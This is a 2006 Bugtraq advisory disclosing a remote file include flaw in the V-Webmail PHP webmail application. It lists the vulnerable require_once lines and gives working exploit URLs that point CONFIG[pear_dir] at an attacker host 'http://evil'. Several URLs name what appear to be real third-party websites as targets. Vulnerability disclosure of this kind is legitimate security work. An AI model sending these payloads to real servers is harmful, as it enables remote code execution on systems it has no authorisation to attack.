
V−Webmail 1.6.4 Remote File Include

Source: http://www.derkeiler.com/Mailing−Lists/securityfocus/bugtraq/2006−05/msg00539.html

From: beford <xbefordx@xxxxxxxxx>• 
Date: Thu, 25 May 2006 15:37:20 −0500• 

Script: V−Webmail 1.6.4
Vendor: http://www.v−webmail.org/
Description: V−webmail is a powerful PHP based webmail application with an
abundance of features, including many innovative ideas for web applications
Discovered: beford <xbefordx gmail com>
Vulnerable File

v−webmail/includes/pear/*/*.php => require_once ($CONFIG['pear_dir'] . '*.php');
v−webmail/includes/mailaccess/pop3.php =>
require_once($CONFIG['pear_dir'] . 'Net/POP3.php');

Version 1.3
http://www.site.th/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
http://www.woot.com.kh/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil

Version 1.5 − 1.6.4
http://something.ie/v−webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://evil
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